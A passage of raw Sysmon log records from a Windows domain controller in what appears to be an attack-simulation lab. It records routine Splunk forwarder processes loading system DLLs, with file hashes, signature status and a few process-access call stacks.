Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000051520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000051519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\fltLib.dll10.0.14393.0 (rs1_release.160715-1616)Filter LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationfilterLib.dllMD5=051ABD8360BDA63A1BC77C662FBF0A25,SHA256=C914E2DBAEC2C9A11923A984B30A979637D3A27B3C29E93F4C90FB1D9FBC518F,IMPHASH=74D3C2DA8B6F9861866B866AE40683D3trueMicrosoft WindowsValid 734700x800000000000000051518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000051517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000051516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000051515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000051514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000051513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000051512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000051511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000051510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000051509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exeMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8trueSplunk, Inc.Valid 10341000x800000000000000051508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000051503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000051502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.853{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000051501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.591{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000051500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.589{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000051499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.587{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000051498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exeMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AECtrueSplunk, Inc.Valid 734700x800000000000000051497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.269{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000051496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.269{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000051495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.269{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000051494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.269{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000051493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.254{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000051492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.254{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000051491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.254{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000051490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.254{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000051489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.254{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000051488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.254{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000051487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.254{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000051486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.254{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000051485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.254{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000051484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.254{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000051483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.254{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000051482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000051481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.238{7BD73061-72C5-613B-610B-00000000F001}1152C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000051480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 